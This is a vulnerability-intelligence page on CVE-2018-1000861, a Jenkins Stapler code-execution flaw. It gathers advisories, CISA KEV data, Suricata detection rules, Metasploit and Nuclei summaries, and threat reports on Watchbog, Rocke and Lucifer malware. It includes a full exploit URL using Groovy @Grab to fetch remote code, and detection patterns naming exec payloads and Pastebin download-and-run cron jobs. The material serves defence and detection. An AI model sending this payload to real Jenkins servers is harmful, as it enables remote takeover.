CVE-2018-1000861
published 2018-12-10CVE-2018-1000861: A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in…
PriorityP198critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-08-10
Exploited in the wild
EPSS
98.48%
99.9th percentile
A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jenkins | credentials_plugin | — | — |
| jenkins | jenkins | <= 2.138.3 | — |
| jenkins | jenkins | <= 2.153 | — |
| jenkins | jenkins_core | — | — |
| jenkins | jenkins_lts | — | — |
| jenkins | jenkins_weekly | — | — |
| jenkins | ldap_plugin | — | — |
| redhat | openshift_container_platform | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;↗
- →Detect exploitation attempts by monitoring HTTP GET requests to the Jenkins checkScriptCompile endpoint with Groovy @Grab annotations in the value parameter, which is the known exploit path for CVE-2018-1000861. ↗
- →Match HTTP response body containing 'package#vulntest' as a positive indicator of successful CVE-2018-1000861 exploitation via the checkScriptCompile endpoint. ↗
- →Use the Fortinet IPS signature 'Jenkins.Script.Plugin.Authenticated.Remote.Command.Execution' to detect Jenkins exploit traffic related to CVE-2018-1000861. ↗
- →Detect Watchbog/Rocke post-exploitation by monitoring for the presence of a process named 'kerberods' or the binary at /usr/sbin/kerberods, which is the primary dropper deployed after Jenkins exploitation. ↗
- →Detect Watchbog lateral movement by monitoring for high-volume outbound SSH traffic from a single host, indicative of SSH known_hosts-based spreading. ↗
- →Detect Rocke/Watchbog scanning activity by monitoring for Python scripts that scan for open Jenkins (port 8080) and Redis (port 6379) ports on the local subnet, followed by curl/wget to Pastebin URLs. ↗
- →Detect Rocke/Watchbog persistence by monitoring for cron jobs that periodically download and execute scripts from Pastebin URLs (pastebin.com/raw/*), which is the primary C2 mechanism. ↗
- →Detect mining proxy traffic to systemten.org on port 51640 as an indicator of Rocke cryptomining activity post-exploitation of CVE-2018-1000861. ↗
- ·The exploit path targets the CpsFlowDefinition/checkScriptCompile endpoint specifically; other Stapler-routed URLs may also be exploitable but are not enumerated in the sources. The attack surface is described as vast with unknown additional attack vectors. ↗
- ·Pastebin C2 URLs used by Watchbog/Rocke change every few days, making static URL-based detection unreliable; behavioral detection of Pastebin outbound connections from servers is more durable. ↗
- ·Several Pastebin C2 URLs referenced in the Watchbog investigation were already inaccessible at time of analysis, limiting their value as live IOCs. ↗
- ·Red Hat rates this vulnerability as Important (not Critical) for OpenShift Container Platform 3.x because exploitation requires developer permissions in that context, unlike the unauthenticated attack paths possible in standalone Jenkins. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
cisa·2022-02-10·CVSS 9.8
CVE-2018-1000861 [CRITICAL] CWE-502 Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
Vulnerability: Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
Affected: Jenkins Jenkins Stapler Web Framework
A code execution vulnerability exists in the Stapler web framework used by Jenkins
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2018-1000861
Remediation Due Date: 2022-08-10
Red Hat
jenkins: code execution through crafted URLs (SECURITY-595)
vendor_redhat·2018-12-05·CVSS 9.8
CVE-2018-1000861 [CRITICAL] CWE-470 jenkins: code execution through crafted URLs (SECURITY-595)
jenkins: code execution through crafted URLs (SECURITY-595)
A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
Statement: This vulnerability is only exploitable by a user with developer permissions. Therefore this vulnerability is rated Important for OpenShift Container Platform 3.x.
Package: jenkins (Red Hat OpenShift Container Platform 3.10) - Affected
Package: jenkins (Red Hat OpenShift Container Platform 3.2) - Affected
Package: jenkins (Red Hat OpenShift Container Platform 3.3) - Affected
Package: jenkins (Red
Jenkins
Jenkins Security Advisory 2018-12-05
vendor_jenkins·2018-12-05·CVSS 9.8
CVE-2018-1000861 [CRITICAL] Jenkins Security Advisory 2018-12-05
Title: Jenkins Security Advisory 2018-12-05
Jenkins Security Advisory 2018-12-05
Jenkins Security Home
For Administrators
Overview
Terminology
Vulnerabilities and Scoring
Security Advisories
Security Issues
Advisory Schedule
Vulnerabilities in Plugins
How We Fix Security Issues
For Reporters
Reporting Vulnerabilities
Jenkins CNA
For Maintainers
Overview
Vulnerabilities in Plugins
Jenkins Security Team
About
Contributions
This advisory announces vulnerabilities in the following Jenkins deliverables:
Jenkins (core)
Descriptions
Code execution through crafted URLs
SECURITY-595
/
CVE-2018-1000861
Severity (CVSS):
critical
Description:
Jenkins uses the Stapler web framework for
OSV
Deserialization of Untrusted Data in Jenkins
osv·2022-05-13
CVE-2018-1000861 [CRITICAL] Deserialization of Untrusted Data in Jenkins
Deserialization of Untrusted Data in Jenkins
A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
GHSA
Deserialization of Untrusted Data in Jenkins
ghsa·2022-05-13
CVE-2018-1000861 [CRITICAL] CWE-502 Deserialization of Untrusted Data in Jenkins
Deserialization of Untrusted Data in Jenkins
A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
VulnCheck
Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
vulncheck·2018·CVSS 9.8
CVE-2018-1000861 [CRITICAL] CWE-502 Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
A code execution vulnerability exists in the Stapler web framework used by Jenkins
Affected: Jenkins Jenkins Stapler Web Framework
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/; https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/; https://cujo.com/the-sysrv-botnet-and-how-it-evolved/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-24-PalotayZsigovits.pdf; https://www.ivanti.com/resources/v/doc/pr-survey-report/ransomwar
Suricata
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3
suricata·2025-03-03·CVSS 9.8
CVE-2018-100086 [CRITICAL] ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M3"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/securityRealm/user/"; fast_pattern; content:"/descriptorByName/"; distance:0; content:"checkScript|3f|"; content:"value|3d|"; pcre:"/^[^\x0d\x26]*?[\x40\x7b\x28]/R"; reference:cve,2018-100086; reference:url,blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html; reference:url,blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html; reference:cve,2019-100300; classtype:web-application-attack; sid:2060509; rev:2; metadata:affected_product
Suricata
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1
suricata·2019-05-10·CVSS 9.8
CVE-2018-1000861 [CRITICAL] ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M1"; flow:established,to_server; http.method; content:"GET"; startswith; http.uri; content:"/securityRealm/user/"; startswith; fast_pattern; content:"descriptorByName/"; distance:0; content:"checkScriptCompile"; distance:0; content:"value=|40|GrabConfig"; distance:0; content:"|40|GrabResolver|28|"; distance:0; content:"|27|http"; within:60; content:"|27 29 0a 40|Grab|28|"; distance:0; http.header_names; to_lowercase; content:!"|0d 0a|referer|0d 0a|"; reference:cve,2018-1000861; reference:cve,2019-1003000; reference:url,blog.orange.tw/2019/02/abusing-meta-progr
Suricata
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2
suricata·2019-05-10·CVSS 9.8
CVE-2018-1000861 [CRITICAL] ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2
ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Jenkins Chained Exploits CVE-2018-1000861 and CVE-2019-1003000 M2"; flow:established,to_server; http.method; content:"GET"; startswith; http.uri; content:"/securityRealm/user/"; startswith; fast_pattern; content:"descriptorByName/"; distance:0; content:"checkScript"; distance:0; content:"|40|ASTTest"; distance:0; content:"Runtime|2e|getRuntime|28 29 2e|exec|28 22|"; distance:0; content:"|22 29 7d 29 0a|"; distance:0; http.header_names; to_lowercase; content:!"|0d 0a|referer|0d 0a|"; reference:cve,2018-1000861; reference:cve,2019-1003000; reference:url,blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce
Metasploit
Jenkins ACL Bypass and Metaprogramming RCE
metasploit
Jenkins ACL Bypass and Metaprogramming RCE
Jenkins ACL Bypass and Metaprogramming RCE
This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. When the "Java Dropper" target is selected, the original entry point based on classLoader.parseClass is used, which requires the use of Groovy metaprogramming to achieve RCE. When the "Unix In-Memory" target is selected, a newer, higher-level, and more universal entry point based on GroovyShell.parse is used. This permits the use of in-memory arbitrary command execution. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
Nuclei
Jenkins - Remote Command Injection
nuclei·CVSS 9.8
CVE-2018-1000861 [CRITICAL] Jenkins - Remote Command Injection
Jenkins - Remote Command Injection
Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
Template:
id: CVE-2018-1000861
info:
name: Jenkins - Remote Command Injection
author: dhiyaneshDK,pikpikcu
severity: critical
description: Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
impact: |
Successful e
Bugzilla
CVE-2018-1000861 jenkins: code execution through crafted URLs (SECURITY-595) [fedora-all]
bugzilla·2018-12-06·CVSS 9.8
CVE-2018-1000861 [CRITICAL] CVE-2018-1000861 jenkins: code execution through crafted URLs (SECURITY-595) [fedora-all]
CVE-2018-1000861 jenkins: code execution through crafted URLs (SECURITY-595) [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple suppor
Bugzilla
CVE-2018-1000861 jenkins: code execution through crafted URLs (SECURITY-595)
bugzilla·2018-12-06·CVSS 9.8
CVE-2018-1000861 [CRITICAL] CVE-2018-1000861 jenkins: code execution through crafted URLs (SECURITY-595)
CVE-2018-1000861 jenkins: code execution through crafted URLs (SECURITY-595)
A flaw was found in the way Jenkins uses the Stapler web framework for HTTP request handling. Stapler’s basic premise is that it uses reflective access to code elements matching its naming conventions. As these naming conventions closely match common code patterns in Java, accessing crafted URLs could invoke methods never intended to be invoked this way.
References:
https://jenkins.io/security/advisory/2018-12-05/
Discussion:
Created jenkins tracking bugs for this issue:
Affects: fedora-all [bug 1656866]
---
From upstream advisory:
As of publication of this advisory, we are aware of the following potential attacks in the latest Jenkins releases that do not yet contain this fix:
Unauthenticated users can i
Qualys
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
blogs_qualys·2022-02-23
Managing CISA Known Exploited Vulnerabilities with Qualys VMDR | Qualys
#### Table of Contents
- Situation
- Directive Scope
- CISA Catalog of Known Exploited Vulnerabilities
- Detect CISA Vulnerabilities Using Qualys VMDR
- CISA Exploited RTI
- Detailed Operational Dashboard
- Remediation
- Federal Enterprises and Agencies Can Act Now
- Summary
- Getting Started
CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively.
## Situation
Last November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a Binding Operational Directiv
Checkpoint
Rudeminer, Blacksquid and Lucifer Walk Into A Bar
blogs_checkpoint·2020-09-15·CVSS 9.8
CVE-2018-10561 [CRITICAL] Rudeminer, Blacksquid and Lucifer Walk Into A Bar
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
AI Research 2
Android Malware 23
Artificial Intelligence 4
ChatGPT 3
Check Point Research Publications 455
Cloud Security 1
CPRadio 44
Crypto 2
Data & Threat Intelligence 2
Data Analysis 0
Demos 22
Global Cyber Attack Reports 408
How To Guides 13
Ransomware 5
Russo-Ukrainian War 1
Security Report 1
Threat and data analysis 0
Threat Research 174
Web 3.0 Security 11
Wipers 0
## Rudeminer, Blacksquid and Lucifer Walk Into A Bar
Research by David Driker, Amir Landau
Background
Lucifer is a Windows crypto miner and DDOS hybrid malware. Three months ago, researcher
Unit42
Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
blogs_unit42·2020-06-24·CVSS 9.8
[CRITICAL] Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
Threat Research Center
Threat Research
Vulnerabilities
## Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
Ken Hsu
Durgesh Sangvikar
Zhibin Zhang
Chris Navarrete
Published: June 24, 2020
Threat Research
Vulnerabilities
Cryptocurrency mining
Cryptojacking
DDoS
Lucifer
## Executive Summary
On May 29, 2020, Unit 42 researchers discovered a new variant of a hybrid cryptojacking malware from numerous incidents of CVE-2019-9081 exploitation in the wild. A closer look revealed the malware, which we’ve dubbed “Lucifer”, is capable of conducting DDoS attacks and well-equipped with all kinds of exploits against vulnerable Windows hosts. The first wave of the campaign stopped on June 10, 2020. The attacker th
Unit42
Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
blogs_unit42·2020-06-24·CVSS 9.8
CVE-2019-9081 [CRITICAL] Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices
## Executive Summary
On May 29, 2020, Unit 42 researchers discovered a new variant of a hybrid cryptojacking malware from numerous incidents of CVE-2019-9081 exploitation in the wild. A closer look revealed the malware, which we’ve dubbed “Lucifer”, is capable of conducting DDoS attacks and well-equipped with all kinds of exploits against vulnerable Windows hosts. The first wave of the campaign stopped on June 10, 2020. The attacker then resumed their campaign on June 11, 2020, spreading an upgraded version of the malware and wreaking havoc. The sample was compiled on Thursday, June 11, 2020 10:39:47 PM UTC and caught by Palo Alto Networks Next-Generation Firewall. At the time of writing, the campaign’s still ongoing.
Lucifer is quite powerful in its capabilities. Not only is it capable
Talos
Watchbog and the Importance of Patching
blogs_talos·2019-09-11·CVSS 9.8
CVE-2018-1000861 [CRITICAL] Watchbog and the Importance of Patching
## Watchbog and the Importance of Patching
## What Happened? Cisco Incident Response (CSIRS) recently responded to an incident involving the Watchbog cryptomining botnet. The attackers were able to exploit CVE-2018-1000861 to gain a foothold and install the Watchbog malware on the affected systems.
This Linux-based malware relied heavily on Pastebin for command and control (C2) and operated openly. CSIRS gained an accurate understanding of the attacker's intentions and abilities on a customer's network by analyzing the various Pastebins. As the investigation progressed, CSIRS identified and de-obfuscated multiple pastes using artifacts left on compromised hosts.
There were some attempts at obfuscation, such as base64 encoding URLs and Pastebins, but the attack was still relatively simpl
Talos
Watchbog and the Importance of Patching
blogs_talos·2019-09-11·CVSS 9.8
CVE-2018-1000861 [CRITICAL] Watchbog and the Importance of Patching
## What Happened?Cisco Incident Response (CSIRS) recently responded to an incident involving the Watchbogcryptominingbotnet. The attackers were able to exploitCVE-2018-1000861to gain a foothold and install theWatchbogmalware on the affected systems.
This Linux-based malware relied heavily on Pastebin for command and control (C2) and operated openly. CSIRS gained an accurate understanding of the attacker's intentions and abilities on a customer's network by analyzing the various Pastebins. As the investigation progressed, CSIRS identified and de-obfuscated multiple pastes using artifacts left on compromised hosts.
There were some attempts at obfuscation, such as base64 encoding URLs and Pastebins, but the attack was still relatively simple to uncover - this attacker did not practice parti
Tenable
WatchBog Malware Adds BlueKeep Scanner (CVE-2019-0708), New Exploits (CVE-2019-10149, CVE-2019-11581)
blogs_tenable·2019-07-25·CVSS 9.8
[CRITICAL] WatchBog Malware Adds BlueKeep Scanner (CVE-2019-0708), New Exploits (CVE-2019-10149, CVE-2019-11581)
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Fortinet
New Rocke Variant Ready to Box Any Mining Challengers
blogs_fortinet·2019-05-28
New Rocke Variant Ready to Box Any Mining Challengers
FORTIGUARD LABS THREAT RESEARCH
New Rocke Variant Ready to Box Any Mining Challengers
By Joie Salvio | May 28, 2019
FortiGuard Labs Breaking Threat Research
FortiGuard Labs has been monitoring a Linux coin mining campaign from “Rocke” – a malware threat group specializing in cryptomining. Over the past month we have seen new features constantly being added to the malware. For instance, in their latest major update, they have added a function that exploits systems running the software development automation server Jenkins to increase their chance of infecting more systems, thereby generating more profits. In addition, they have also evolved their malware by adding new attack stages, as well as new redundancies in its multi-component execution to make it more dynamic and flexible.
This p
http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.htmlhttp://www.securityfocus.com/bid/106176https://access.redhat.com/errata/RHBA-2019:0024https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595http://packetstormsecurity.com/files/166778/Jenkins-Remote-Code-Execution.htmlhttp://www.securityfocus.com/bid/106176https://access.redhat.com/errata/RHBA-2019:0024https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2018-1000861
2018-12-10
Published
2022-02-10
Added to CISA KEV
Exploited in the wild